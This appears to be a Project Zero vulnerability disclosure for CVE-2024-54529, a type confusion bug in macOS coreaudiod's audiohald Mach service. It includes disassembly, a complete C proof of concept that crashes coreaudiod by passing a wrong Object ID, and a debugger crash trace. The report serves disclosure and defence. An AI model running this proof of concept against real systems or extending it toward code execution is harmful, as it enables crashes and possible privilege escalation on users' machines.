The com.apple.audio.audiohald Mach service on MacOS is hosted by the coreaudiod process. This process exposes the Hardware Abstraction Layer (HAL) of the CoreAudio framework, which allows a user to interact with audio devices, plugins, and settings on the operating system. coreaudiod runs as a privileged process and is accessible from many applications, including Safari. The com.apple.audio.audiohald Mach service enables the creation and management of HAL objects, which are stored on the heap. There are several different types of HAL objects which inherit properties from one another, resulting in varying HAL object sizes. For example, the following pseudocode snippet shows the creation of a clnt (HAL Client) object of size 0x158, as shown below. Function: ___ZN11HALS_System9AddClientERK13audit_token_tbbbjPK10__CFStringxbb_block_invoke obj = v59; v49 = 0LL; HALS_System::GetInstance((__int64)system_instance_ptr, 0, (__int64 *)&v49); sys_instance = *(_QWORD *)system_instance_ptr; pid_copy = pidp; HALS_Object::HALS_Object((HALS_Object *)obj, 'clnt', 0, *(__int64 *)system_instance_ptr, v17); The snippet below shows a similar creation of a different object of ioct (IOContext) type: Function: ___ZN11HALS_System15CreateIOContextEP11HALS_ClientPK14__CFDictionary_block_invoke ioctx_obj = (HALS_Object *)operator new(0xE0uLL); LODWORD(v76) = *((_DWORD *)v78 + 305); v11 = ioctx_obj; v12 = ioctx_obj; HALS_Object::HALS_Object(ioctx_obj, 'ioct', 0, (__int64)v78, v4); The issue arises from the way these HAL objects are accessed and used in specific cases. Specifically, a local attacker sending Mach messages to the coreaudiod service can specify any Object ID to operate on. This Object ID is not a pseudorandom value but rather an integer which starts and 1 and is incremented with each created object. The HAL object correlating to the specified Object ID will then be fetched. When the routines listed below retrieve the object corresponding to the given Object ID, they assume it is of the IOContext type without performing proper type checking. Thus, if a smaller or incompatible object is fetched instead of the expected type, the system will attempt to improperly access and invoke methods, leading to an out-of-bounds memory dereference that could potentially allow for the execution of an unintended function pointer. As an example of this, the Mach message handler _XIOContext_Fetch_Workgroup_Port fetches a HAL object based on a controlled Object ID value in the Mach message and subsequently dereferences and calls attributes of the acquired object. Function: _XIOContext_Fetch_Workgroup_Port mov edi, r15d ; object_id, controlled by attacker call HALS_ObjectMap::CopyObjectByObjectID(uint) ; get the HAL object mov r13, rax test rax, rax jz loc_7FF81E0714A2 mov rdi, [r13+70h] ; get offset 0x70 of the object mov rax, [rdi] ; dereference the value at offset 0x70 call qword ptr [rax+108h] ; call function at offset 0x108 mov [rbx+1Ch], eax mov rdi, r13 ; this The following proof-of-concept code sends two consecutive Mach messages to the com.apple.audio.audiohald service. The first is to register the sending client with the HAL System. The second calls the vulnerable API with an Object ID that will produce a non-IOContext HAL Object, thus triggering the type confusion. #include #include #include #include #include #include #include #include #define XSYSTEM_OPEN_MSG_SIZE 0x38 #define XIOCONTEXT_FETCH_WORKGROUP_PORT_MSG_SIZE 0x24 typedef struct { mach_msg_header_t header; mach_msg_size_t msgh_descriptor_count; mach_msg_port_descriptor_t descriptor[1]; char body[]; } xsystemopen_mach_message; typedef struct { mach_msg_header_t header; char body0[8]; uint32_t object_id; } xworkgroup_mach_message; mach_port_t create_mach_port_with_send_rights() { mach_port_t port; kern_return_t kr; // Allocate a port with receive rights kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); if (kr != KERN_SUCCESS) { fprintf(stderr, "Failed to allocate port: %s\n", mach_error_string(kr)); exit(1); } // Insert a send right for the port kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); if (kr != KERN_SUCCESS) { fprintf(stderr, "Failed to insert send right: %s\n", mach_error_string(kr)); exit(1); } return port; // Return the port with send rights } int main(int argc, char *argv[]) { printf("Getting started...\n"); int opt; char *service_name = "com.apple.audio.audiohald"; mach_port_t destination_port = MACH_PORT_NULL; mach_port_t bootstrap_port; kern_return_t kr = task_get_bootstrap_port(mach_task_self(), &bootstrap_port); if (kr != KERN_SUCCESS) { fprintf(stderr, "Failed to get bootstrap port, error: %s\n", mach_error_string(kr)); return 1; } printf("Got Bootstrap port! %d\n", bootstrap_port); kr = bootstrap_look_up(bootstrap_port, service_name, &destination_port); if (kr != KERN_SUCCESS) { printf("bootstrap lookup failed, error: %s\n", mach_error_string(kr)); return 1; } printf("Got service port! %d\n", destination_port); // Send _XSystem_Open message to initialize client xsystemopen_mach_message *xsystemopen_msg = malloc(XSYSTEM_OPEN_MSG_SIZE); mach_port_t reply_port; // Set up the memory for both descriptors mach_port_t send_right_port = create_mach_port_with_send_rights(); xsystemopen_msg->msgh_descriptor_count = 1; xsystemopen_msg->descriptor[0].name = send_right_port; xsystemopen_msg->descriptor[0].disposition = MACH_MSG_TYPE_MOVE_SEND; xsystemopen_msg->descriptor[0].type = MACH_MSG_PORT_DESCRIPTOR; xsystemopen_msg->header.msgh_remote_port = destination_port; xsystemopen_msg->header.msgh_voucher_port = MACH_PORT_NULL; xsystemopen_msg->header.msgh_id = 1010000; kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port); if (kr != KERN_SUCCESS) { fprintf(stderr, "Error allocating reply port: %s\n", mach_error_string(kr)); return kr; } xsystemopen_msg->header.msgh_local_port = reply_port; xsystemopen_msg->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE, MACH_PORT_NULL, MACH_MSGH_BITS_COMPLEX); mach_msg_return_t result = mach_msg( &xsystemopen_msg->header, // Pointer to the message header MACH_SEND_MSG | MACH_RCV_MSG, // Send the message and then receive a reply in one call XSYSTEM_OPEN_MSG_SIZE, // Send size XSYSTEM_OPEN_MSG_SIZE + 1024, // Receive buffer size (larger than send size) reply_port, // Local port to receive the reply MACH_MSG_TIMEOUT_NONE, // No timeout MACH_PORT_NULL // No notification port ); free(xsystemopen_msg); if (kr != KERN_SUCCESS) { fprintf(stderr, "Error sending Mach message: %s\n", mach_error_string(kr)); return 1; } printf("XSystem_Open stage complete.\n"); xworkgroup_mach_message *workgroup_msg = malloc(XIOCONTEXT_FETCH_WORKGROUP_PORT_MSG_SIZE); workgroup_msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE); workgroup_msg->header.msgh_size = XIOCONTEXT_FETCH_WORKGROUP_PORT_MSG_SIZE; workgroup_msg->header.msgh_remote_port = destination_port; workgroup_msg->header.msgh_local_port = reply_port; workgroup_msg->header.msgh_id = 1010059; // Arbitrary object ID (this will retrieve the HAL System type, it's expecting an IOContext type) workgroup_msg->object_id = 0x1; result = mach_msg( &workgroup_msg->header, // Pointer to the message header MACH_SEND_MSG | MACH_RCV_MSG, // Send the message and then receive a reply in one call XIOCONTEXT_FETCH_WORKGROUP_PORT_MSG_SIZE, // Send size XIOCONTEXT_FETCH_WORKGROUP_PORT_MSG_SIZE + 1024, // Receive buffer size (larger than send size) reply_port, // Local port to receive the reply MACH_MSG_TIMEOUT_NONE, // No timeout MACH_PORT_NULL // No notification port ); if (result != KERN_SUCCESS) { fprintf(stderr, "Error in mach_msg send and receive: %s\n", mach_error_string(result)); free(workgroup_msg); return 1; } free(workgroup_msg); printf("XIOContext_Fetch_Workgroup_Port mach message processed successfully.\n"); return 0; } After running, the coreaudiod process crashes as follows while trying to dereference what appears to be an invalid vtable: * thread #5, queue = 'com.apple.audio.system-event', stop reason = EXC_BAD_ACCESS (code=1, address=0xffffffffffffffff) frame #0: 0x00007ff80594f314 CoreAudio`_XIOContext_Fetch_Workgroup_Port + 288 CoreAudio`: -> 0x7ff80594f314 <+288>: mov rax, qword ptr [rdi] 0x7ff80594f317 <+291>: call qword ptr [rax + 0x108] 0x7ff80594f31d <+297>: mov dword ptr [rbx + 0x1c], eax 0x7ff80594f320 <+300>: mov rdi, r13 (lldb) bt * thread #5, queue = 'com.apple.audio.system-event', stop reason = EXC_BAD_ACCESS (code=1, address=0xffffffffffffffff) * frame #0: 0x00007ff80594f314 CoreAudio`_XIOContext_Fetch_Workgroup_Port + 288 frame #1: 0x00007ff80594fd5d CoreAudio`HALB_MIGServer_server + 79 frame #2: 0x00007ff80320df40 libdispatch.dylib`dispatch_mig_server + 360 frame #3: 0x00007ff80592215c CoreAudio`invocation function for block in HALB_DispatchQueue::InstallMIGServer(unsigned int, unsigned int, unsigned int (*)(mach_msg_header_t*, mach_msg_header_t*)) + 42 frame #4: 0x00007ff8031f2a44 libdispatch.dylib`_dispatch_client_callout + 8 frame #5: 0x00007ff8031f5500 libdispatch.dylib`_dispatch_continuation_pop + 463 frame #6: 0x00007ff803206dff libdispatch.dylib`_dispatch_source_invoke + 2184 frame #7: 0x00007ff8031f8964 libdispatch.dylib`_dispatch_lane_serial_drain + 342 frame #8: 0x00007ff8031f95e7 libdispatch.dylib`_dispatch_lane_invoke + 417 frame #9: 0x00007ff8031fa904 libdispatch.dylib`_dispatch_workloop_invoke + 2026 frame #10: 0x00007ff803203ad7 libdispatch.dylib`_dispatch_workloop_worker_thread + 762 frame #11: 0x00007ff80336ece3 libsystem_pthread.dylib`_pthread_wqthread + 326 frame #12: 0x00007ff80336dc67 libsystem_pthread.dylib`start_wqthread + 15 A complete list of routines affected by this bug are as follows: Mach Message Handler Affected Routine _XIOContext_Fetch_Workgroup_Port _XIOContext_Fetch_Workgroup_Port _XIOContext_Start ___ZNK14HALS_IOContext22HasEnabledInputStreamsEv_block_invoke _XIOContext_StartAtTime ___ZNK14HALS_IOContext16GetNumberStreamsEb_block_invoke _XIOContext_Start_With_WorkInterval ___ZNK14HALS_IOContext22HasEnabledInputStreamsEv_block_invoke _XIOContext_SetClientControlPort _XIOContext_SetClientControlPort _XIOContext_Stop _XIOContext_Stop This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2025-01-07. For more details, see the Project Zero vulnerability disclosure policy: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure- policy.html Related CVE Number: CVE-2024-54529. Credit: dillonfranke